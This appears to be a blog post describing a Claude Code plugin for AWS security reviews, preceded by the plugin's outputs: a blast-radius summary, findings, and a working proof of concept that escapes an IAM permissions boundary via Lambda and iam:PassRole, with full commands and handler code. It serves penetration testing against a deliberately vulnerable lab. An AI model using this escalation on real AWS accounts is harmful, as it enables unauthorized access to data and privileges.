Identities Assessed

Access Summary (Combined — worst case from any chain)

Risk Level: CRITICAL

Why: The combined blast radius from the three attack chains reaches full AdministratorAccess (chains 2 and 3) with zero detection coverage. There are no CloudTrail trails, no GuardDuty detectors, no Security Hub, no AWS Config recorders, and no IAM Access Analyzers in any region. An attacker who compromises any of the three entry-point roles achieves admin access with no audit trail, no alerting, and no automated response. Chain 1 additionally exposes plaintext production database credentials and API keys that grant access to systems outside AWS.

Amplifying:

• Zero detection services — complete absence of CloudTrail, GuardDuty, Security Hub, Config, Access Analyzer
• Wildcarded resources on sensitive actions (iam:PassRole *, s3:*, dynamodb:*, lambda:*)
• No permission boundary on terminal admin role (svc-platform-admin-production)
• SCP coverage unknown — cannot confirm organizational guardrails exist
• Plaintext secrets in Lambda env vars (external RDS + API access)
• 23 customer-managed KMS keys in PendingDeletion — encryption controls being removed
• Admin IAM user has no MFA

Mitigating:

• Permission boundary on platform-restricted-admin-production (partially effective — bypassed via PassRole+Lambda but limits direct IAM actions)
• BoolIfExists MFA condition on svc-data-ops-production S3 delete operations (correctly implemented)
• No running EC2 instances currently (all terminated) — reduces immediate lateral movement surface
• No S3 buckets, DynamoDB tables, or RDS instances exist in-account — reduces in-account data exfiltration scope
• Cross-account roles require MFA (Bool condition — effective for human callers)

Detailed Access

Data Access

In-account data stores:

External data (via stolen credentials from Chain 1):

Identity Access

Direct admin (via chains 2 or 3 → svc-platform-admin-production):

Full iam:* on all resources — can create, modify, or delete any IAM principal or policy.

PMapper escalation graph — principals reachable from admin:

All 30 nodes (6 admin, 24 non-admin) are reachable. The admin role can modify trust policies to assume any role, or create access keys for any user.

Assumable roles (all 28 — admin can modify any trust policy):

Detection Access

CRITICAL: No detection services are deployed.

An attacker with admin access can operate indefinitely with no detection, no alerting, and no forensic trail. There is nothing to disable because nothing exists — this is worse than having detection that could be turned off (which at least generates a CloudTrail event).

Compute Access

Compute weaponization potential: Admin can launch EC2 instances in any of 17 regions, create Lambda functions with any execution role, and deploy ECS tasks — all without detection (no CloudTrail).

Network Access

Network weaponization potential: Admin can open security group ingress from 0.0.0.0/0 on any port, create new VPCs with public subnets, establish VPC endpoints for data exfiltration, and create VPN connections — all without detection.

Recommendations

Confidence: 5/5

Permissions Boundary Bypass Analysis — platform-admin-boundary-production

Policy & Config | 2026-04-15 | 123456789012 | SCP: UNKNOWN

Scope: 1 boundary policy, 1 bounded role (platform-restricted-admin-production), 19 custom roles, 10 SLRs, 0 EC2 instances, 0 Lambda functions | Regions: ap-southeast-2 (primary), IAM global | Gaps: SCPs unreadable (AccessDenied) — findings may be mitigated by org-level SCPs
Suppressions: None

F1: Unrestricted iam:PassRole in boundary · CRITICAL · CONFIRMED 5/5

Resource: arn:aws:iam::123456789012:policy/platform-admin-boundary-production
Claim: adhoc-20260415-boundary-passrole-unrestricted

The boundary allows iam:PassRole with Resource: "*". This means the bounded principal can pass any role in the account to any compute service the boundary also permits (Lambda, EC2). PassRole is the single most dangerous IAM action to leave unrestricted in a boundary — it’s the mechanism that enables escaping the boundary entirely. The boundary should scope PassRole to a specific set of approved execution role ARNs.

SCP coverage: Unknown — this account is in an AWS Organization but SCPs could not be read (AccessDenied on organizations:ListPolicies). An SCP may deny the actions flagged here, which would reduce or eliminate this risk. Provide SCP documents for cross-referencing, or verify from the management account.

F2: Boundary bypass via lambda:* + iam:PassRole * · CRITICAL · CONFIRMED 5/5

Resource: arn:aws:iam::123456789012:role/platform-restricted-admin-production
Claim: adhoc-20260415-boundary-lambda-bypass

The boundary grants lambda:* (full Lambda management) and iam:PassRole on *. This is a complete boundary escape. The bounded role can:

1. Call lambda:CreateFunction with any Lambda-trusted role as the execution role
2. The Lambda function executes as that role, outside the boundary — boundaries only apply to the principal they’re attached to, not to roles passed to services

Three Lambda-trusted execution roles exist without boundaries:

• svc-data-processor-exec-production — DynamoDB full CRUD (*), S3 read (*), CloudWatch Logs
• svc-reporting-api-exec-production — S3 read (scoped to platform-internal-reports-123456789012), DynamoDB read, CloudWatch Logs
• svc-data-processor-secure-exec-production — no policies attached (currently inert)

The boundary does not include dynamodb:* in its allow list, yet via this bypass the bounded role gains DynamoDB write access to every table in the account. The boundary’s intent (restrict to ec2/s3/logs/cloudwatch/lambda) is completely undermined.

SCP coverage: Unknown — same disclaimer as F1.

Attack Chains

Attack Path 1: Boundary escape via Lambda PassRole delegation

Severity: CRITICAL
Chain: Claim adhoc-20260415-boundary-passrole-unrestricted → Claim adhoc-20260415-boundary-lambda-bypass
Exploitability: IMMEDIATELY EXPLOITABLE

1. Attacker compromises an EC2 instance assuming platform-restricted-admin-production (trust policy allows ec2.amazonaws.com)
2. Boundary constrains the session to ec2/s3/logs/cloudwatch/lambda + limited IAM reads + PassRole
3. Attacker calls lambda:CreateFunction, sets execution role to svc-data-processor-exec-production (iam:PassRole * permits this)
4. Attacker calls lambda:Invoke — Lambda executes as svc-data-processor-exec-production, which has no boundary
5. Lambda code reads/writes all DynamoDB tables and reads all S3 buckets — permissions the boundary was designed to block

Impact: Full DynamoDB CRUD on every table in the account + S3 read on every bucket. The boundary provides zero protection against this path. An attacker operating within the “restricted admin” boundary can exfiltrate or modify application data in DynamoDB without detection by boundary-aware monitoring.

Impact

Data at risk: All DynamoDB table contents (customer data, application state), all S3 object reads
Services at risk: DynamoDB (full CRUD via bypass), Lambda (used as escalation vehicle)
Exposure: Immediate — no additional permissions or conditions required
Compliance: CIS AWS Benchmark 1.16 (ensure IAM policies are attached only to groups or roles — boundary scoping), SOC2 CC6.3 (least privilege)
Amplifying: PassRole unrestricted to *, lambda:* is full wildcard, no boundary on target execution roles, boundary is the sole control (no inline Deny guardrails)
Mitigating: No EC2 instances currently use this role (RoleLastUsed is empty), svc-data-processor-secure-exec-production has no policies attached
Unknown: SCP coverage (may restrict PassRole or Lambda at org level), whether other accounts have roles trusting this account

Blast Radius

Recommendations

Confidence: 5/5

Finding: F1 + F2 · CRITICAL · CONFIRMED 5/5
Claim IDs: adhoc-20260415-boundary-passrole-unrestricted → adhoc-20260415-boundary-lambda-bypass
Technique: MITRE ATT&CK T1548 (Abuse Elevation Control Mechanism)
Risk: Attacker operating within the platform-restricted-admin-production boundary escapes it entirely, gaining DynamoDB full CRUD and S3 read across the account

Prerequisites

• Current access: arn:aws:iam::123456789012:role/platform-restricted-admin-production (EC2 instance profile or equivalent session)
• Required permissions (all allowed by the boundary):
  • lambda:CreateFunction
  • lambda:InvokeFunction
  • iam:PassRole (Resource: *)
• Target execution role: arn:aws:iam::123456789012:role/svc-data-processor-exec-production (trusts lambda.amazonaws.com, no boundary, has DynamoDB write + S3 read on *)
• Region: ap-southeast-2 (or any enabled region — Lambda and IAM roles are region-scoped for execution but roles are global)

Steps to Reproduce

Step 1: Confirm current identity and boundary constraint

Purpose: Verify you are operating as the boundary-restricted role and confirm DynamoDB is blocked by the boundary

# Verify identity
aws sts get-caller-identity

# Confirm boundary blocks DynamoDB (expect AccessDenied)
aws dynamodb list-tables --region ap-southeast-2

Expected output:

# get-caller-identity shows platform-restricted-admin-production
{
    "UserId": "AROA...:i-...",
    "Account": "123456789012",
    "Arn": "arn:aws:sts::123456789012:assumed-role/platform-restricted-admin-production/i-..."
}

# list-tables returns AccessDenied — boundary does not include dynamodb:*
An error occurred (AccessDeniedException) when calling the ListTables operation: ...

Step 2: Create the escalation payload

Purpose: Build a Lambda function that proves execution as the target role AND demonstrates access to DynamoDB (which the boundary blocks)

cat > /tmp/poc-boundary-bypass.py << 'PYEOF'
import boto3
import json

def handler(event, context):
    results = {}

    # Prove we are running as the target execution role (outside the boundary)
    sts = boto3.client("sts")
    results["identity"] = sts.get_caller_identity()

    # Prove DynamoDB access — this is blocked by the boundary but allowed
    # for the execution role, proving the boundary has been escaped
    dynamodb = boto3.client("dynamodb", region_name="ap-southeast-2")
    try:
        tables = dynamodb.list_tables()
        results["dynamodb_tables"] = tables["TableNames"]
        results["dynamodb_access"] = "SUCCESS — boundary bypassed"
    except Exception as e:
        results["dynamodb_access"] = f"FAILED: {str(e)}"

    # Prove S3 read access scope
    s3 = boto3.client("s3")
    try:
        buckets = s3.list_buckets()
        results["s3_buckets"] = [b["Name"] for b in buckets["Buckets"]]
        results["s3_access"] = "SUCCESS"
    except Exception as e:
        results["s3_access"] = f"FAILED: {str(e)}"

    return {"statusCode": 200, "body": json.dumps(results, default=str)}
PYEOF

cd /tmp && zip poc-boundary-bypass.zip poc-boundary-bypass.py

Expected output:

  adding: poc-boundary-bypass.py (deflated ...)

Step 3: Create Lambda function with the unbounded execution role

Purpose: Use iam:PassRole (allowed by boundary on *) to pass svc-data-processor-exec-production to a new Lambda function. The Lambda will execute as that role — outside the boundary.

aws lambda create-function \
  --function-name poc-boundary-bypass-test \
  --runtime python3.12 \
  --handler poc-boundary-bypass.handler \
  --role arn:aws:iam::123456789012:role/svc-data-processor-exec-production \
  --zip-file fileb:///tmp/poc-boundary-bypass.zip \
  --timeout 30 \
  --region ap-southeast-2

Expected output:

{
    "FunctionName": "poc-boundary-bypass-test",
    "FunctionArn": "arn:aws:lambda:ap-southeast-2:123456789012:function:poc-boundary-bypass-test",
    "Role": "arn:aws:iam::123456789012:role/svc-data-processor-exec-production",
    "Runtime": "python3.12",
    "Handler": "poc-boundary-bypass.handler"
}

Step 4: Invoke Lambda to execute outside the boundary

Purpose: Trigger the function. It runs as svc-data-processor-exec-production — no boundary applies. This proves the boundary-restricted principal can access DynamoDB (and any other permission the execution role has) by delegating through Lambda.

aws lambda invoke \
  --function-name poc-boundary-bypass-test \
  --region ap-southeast-2 \
  /tmp/poc-bypass-output.json

cat /tmp/poc-bypass-output.json | python3 -m json.tool

Expected output:

{
    "statusCode": 200,
    "body": {
        "identity": {
            "UserId": "AROA...:poc-boundary-bypass-test",
            "Account": "123456789012",
            "Arn": "arn:aws:sts::123456789012:assumed-role/svc-data-processor-exec-production/poc-boundary-bypass-test"
        },
        "dynamodb_tables": ["table1", "table2"],
        "dynamodb_access": "SUCCESS — boundary bypassed",
        "s3_buckets": ["bucket1", "bucket2"],
        "s3_access": "SUCCESS"
    }
}

Key proof: The identity shows svc-data-processor-exec-production, not platform-restricted-admin-production. The dynamodb_access: SUCCESS proves the boundary was escaped — the same dynamodb:ListTables call that returned AccessDeniedException in Step 1 now succeeds.

Step 5: Verify escalation

Purpose: Confirm the boundary is the only thing that changed — same account, same origin, but different effective permissions

# From your original session (still boundary-restricted):
aws sts get-caller-identity
# Shows: platform-restricted-admin-production — boundary still applies here

# But the Lambda executed as svc-data-processor-exec-production with:
# - dynamodb:GetItem, PutItem, Query, Scan, UpdateItem, DeleteItem, BatchWriteItem on *
# - s3:GetObject, s3:ListBucket on *
# - logs:CreateLogGroup, CreateLogStream, PutLogEvents on *
# None of these DynamoDB actions are in the boundary's allow list.

Cleanup

Run these commands to reverse all changes made during testing:

# Delete the PoC Lambda function
aws lambda delete-function \
  --function-name poc-boundary-bypass-test \
  --region ap-southeast-2

# Remove local temp files
rm -f /tmp/poc-boundary-bypass.py \
      /tmp/poc-boundary-bypass.zip \
      /tmp/poc-bypass-output.json

Verify cleanup:

# Confirm function is deleted (expect ResourceNotFoundException)
aws lambda get-function \
  --function-name poc-boundary-bypass-test \
  --region ap-southeast-2

# Expected: An error occurred (ResourceNotFoundException)

Evidence Chain

With the AI bubble expanding every day, more and more AI-focused tools are being utilised for security reviews and automation. Unlike noisy and messy tools that scan with no context, utilising AI allows for more deterministic results.

Today we are diving into the realm of cloud plugins and how they can be combined with existing tools to perform semi-autonomous cloud security reviews.

Why use AI?

With traditional scanning tools, they mostly follow the pattern of:

Scan -> Write Up -> Report -> Display

While this allows mass scanning, it also has its pitfalls. A key one being the absurd amount of false positives. Security reviewers don’t have unlimited time to sort through every finding that is true or not. Cloud environments differ vastly from each other in setup and configuration. The lack of context within code/logic-based scanners (e.g., prowler) allows these false positives to creep through.

Here’s an example: A security tool finds that an S3 Bucket is publicly accessible but in reality, it’s configured for a static website and has no sensitive data exposed.

This is where AI can move beyond scanning. The goal now is no longer just finding the issues but actually understanding the context of the environment and whether those issues matter.

2. What I Built

What I’ve created is a plugin for the popular Claude Code CLI framework, which works by connecting into your native terminal. It has the power to perform commands on your behalf, which is extremely useful for running security tools like nmap or curl.

Instead of following the traditional pattern of a single scan and showing findings, the plugin continuously investigates the environment using a loop-based reasoning structure. This loop only applies to configuration and policy questions. If you were to ask it to probe an endpoint or list something, it will skip this loop. This is decided at runtime by a classification table.

Validation Loop

At a high level, the plugin includes the following:

• A loop-based validation structure that decides what to inspect next and if the evidence is high confidence with a score.
• A skills system that provides instructions, a lookup table and documentation for any AWS service or tool related command.
• An external validation layer that probes endpoints and external services.
• A reporting pipeline that only outputs findings that are backed by real and deterministic evidence to the CLI (although this can differ).
• A PoC generation skill that provides penetration testers manual instructions to reproduce exploits and bugs if they want to manually verify.
• A blast radius generation skill that creates a markdown for the user to review the damages and impacts.

Tool Integrations

The plugin also performs real world validation by integrating existing security tools:

• PMapper - allows detection of IAM privilege escalation
• Nmap - test external network exposure and port validation
• Curl - probe external endpoints
• testssl.sh - for TLS configuration analysis

How Does This Differ From Existing Scan Tools?

AI scanners do not rely on static and hardcoded cases. Traditional scanners are programmed to follow strict criteria; they do not have the freedom of adaptation and context. Trying to create a scanner that covers every case is unrealistic, as the amount of edge cases you encounter in cloud is probably exponential.

This is where we fill the gap. AI has the ability to learn and adapt to data in real time, it is not locked down to matching signatures of known information but rather uses machine learning to figure out new unknown information.

A lot of popular cloud scanning tools use API read-only access to check if something is configured, but they do not actually interact with the environment externally. What I mean by this is that they don’t have the power to probe reachability. This is a huge gap. A bucket could appear “private” to a scanner but still be reachable because of:

• CloudFront distribution or CDN
• Lambda or API Gateway that proxies access to the bucket with no auth checks
• Misconfigured VPC

You get the idea, right?

A cloud scanner will tell you if something is misconfigured but never if it’s an actual security issue. Relying on configurations alone tells you the intent, while probing tells you the reality.

The plugin mixes both of these concepts by reading configuration then validating via probe. If the two results mismatch then it will label it for review or dig deeper. If something says it is public, it asks why. It compares multiple pieces of context (this being the aws-cli, external probes, pmapper… etc.) before finalizing.

I’d suggest giving this article a read by Daniel Grzelak. Most of the methodology for the tool is inspired by this article.

3. Lab Setup

To test the capabilities of the plugin, I created a test environment in Terraform which allows for customised AWS infrastructure. The lab environment has multiple modules that can be enabled or disabled for testing. It’s a fake production environment that uses a VPC and a bastion jump box for authentication.

The key idea behind this environment is that some modules are made to look dangerous in their configuration but they are actually safe when you look at the context.

The Lab environment includes the following:

• IAM privilege escalation (PassRole abuse, permission boundaries, policy shadowing, service-linked roles, role-hopping chains)
• Data Exposure (S3 public access, EBS/RDS snapshot sharing, KMS wildcard grants)
• Network and Compute (wide egress rules, IMDSv1 metadata access)
• Logging and detection gaps (CloudTrail misconfigurations)
• Cross-service attack chains (Lambda with hardcoded secrets, Cognito unauthenticated access, API Gateway with no auth leading to S3)

Three secure baselines exist to test that the plugin correctly identifies safe configurations and doesn’t flag them as issues.

4. The Skills System

Claude Code allows you to steer its thinking with plugins for custom tool use and pipeline automation. A feature of the plugin system is that you can provide Claude with markdown files for certain skills.

Instead of me creating skills for every system command, my co-worker found a super cool repo on GitHub that includes AWS service skills. This gives easy lookup for Claude when it needs to query something via the terminal or reference something.

(Here’s the repo!)

On top of this, I added my own custom skills specific to the plugin’s security workflow.

• Validation Rules - Maps claims to the exact AWS CLI commands needed to verify them.
• Output - The Output skill defines the report format. It allows a structured and consistent output for any text.
• PoC Generator - The PoC Generator produces step-by-step instructions for reproducing findings, allowing a security reviewer to manually verify if something is exploitable.
• Identity Blast Radius - It maps out the affected resources and maximum damage from a compromised identity.
• Prowler - Integrates prowler functionality into the tool to parse outputs. Raw findings are cross-validated then finalized into a report structure.
• PMapper - Integrates PMapper for IAM privilege escalation analysis. It tells Claude how to build an IAM graph, run escalation queries, and interpret the results.

Each of these skill files tells Claude how to run commands, the documentation, and some examples. It’s really great for customisability.

5. From Detection to Exploitation

Something that I find missing from current security scanners is they do not provide steps to reproduce. If something is said to be exploitable, then we need to prove it. I decided to add a skill for Proof of Concepts. When attack chains are found inside an environment, the user can ask Claude to use the poc-generator skill.

Claude will write a report that includes:

• Steps to reproduce
• The commands in detail
• The evidence chain
• Clean up steps

One of the exploit chains within the lab environment is a boundary bypass via PassRole. To perform this, an attacker operating within the platform-restricted-admin-production boundary escapes it entirely via PassRole. They then gain DynamoDB full CRUD and S3 read across the account.

The AI was able to successfully generate a working PoC for this exploit chain. Manual verification of the section Steps to Reproduce showed that the concept was exploitable.

Below are some of the outputs and files straight from the AI plugin.

• Findings: Permissions Boundary Bypass Analysis
• PoC: Permissions Boundary Escape via Lambda PassRole
• Blast Radius: Attack Chains Combined

6. Strengths vs Limitations

Strengths

Overall the plugin performed very well for scenarios 3, 6, and 9 and strongly identified. It understood the IAM evaluation order, the S3 layered access and the inline deny catch rather than using pattern matching alone for the policy and config.

It had really good attack chain mapping and successfully chained scenarios 1 + 4. This demonstrates the critical thinking that policy scanners lack and could skip.

The reports that it created were extremely accurate. The proof of concept that it made worked well and had strong depth. This shows how powerful an AI agent could be at cloud review or other aspects of cyber-security.

Limitations

The first obvious thing is that the testing environment doesn’t handle every edge case, customers and clients will always have different configurations that are unknown or new to an AI scanner. Although we can provide lots of context towards the AI, it will not be 100% deterministic with findings. The best we can do is try to squash the gap between assumption and determinism.

This also raises another important question: is the AI scanner tuned to perform well on my own testing environment? A term that is popular within the AI space is overfitting, this pretty much means the AI model has become too familiar with the training environment, leading to good results on training data (our test environment) and bad performance in unknown environments.

During testing, I would review the output from the AI. If it was wrong, I would explain why and give my findings back. The model and I would then go through the plugin and make updates. I think to determine accuracy, we need to try out environments that have completely different setups and unique cases. My tuning could have molded the AI to this environment. Further testing is needed to determine if this is an issue.

The plugin is huge. Every time Claude initializes with the claude.md, it wastes tokens. The roles.md file is 400+ lines long, for future goals I’d suggest looking into optimisation or stripping out redundant instructions for less token use.

7. What I Learned

Coming from a person who knows minimal things about the cloud, this project has given me a deep dive into how it actually functions.

I learned about the 21 types of privilege escalation techniques that attackers use to move through a cloud infrastructure. Looked into services that I didn’t know or understand and found out cool quirks. I tested my knowledge on a simulated lab environment called AWSGOAT, which is a fake vulnerable cloud website that has flaws you can exploit. It demonstrated how AI can be used along with human intervention to scan and automate long and repetitive tasks.

The project taught me about numerous existing security tools and how they can be utilised with an AI wrapper to perform powerful cloud security scanning.

I really enjoyed the red-team aspect of the project as well. Not only learning about these skills but applying them as an attacker really showed me how companies/businesses need to lock down their cloud environments.

8. Conclusion

The future of cybersecurity is going to be focused on AI and its ability to think with given information and the context of the environment. We can already see the capability of Claude finding zero days in open source codebases that have existed for years. It is very effective with speed and productivity, allowing security consultants with limited time to achieve more. Adapting to new unknown infomation is a strong suit as threat actors will always try different techniques.

We can assume that most security tools in the future are going to be AI related in someway.

It shows where the industry is heading, and companies like Aura Information Security can benefit from integrating AI early on into their pentesting pipeline.

To keep up with the evolving threat landscape we should use tools like Claude to better the protection of companies and secure data.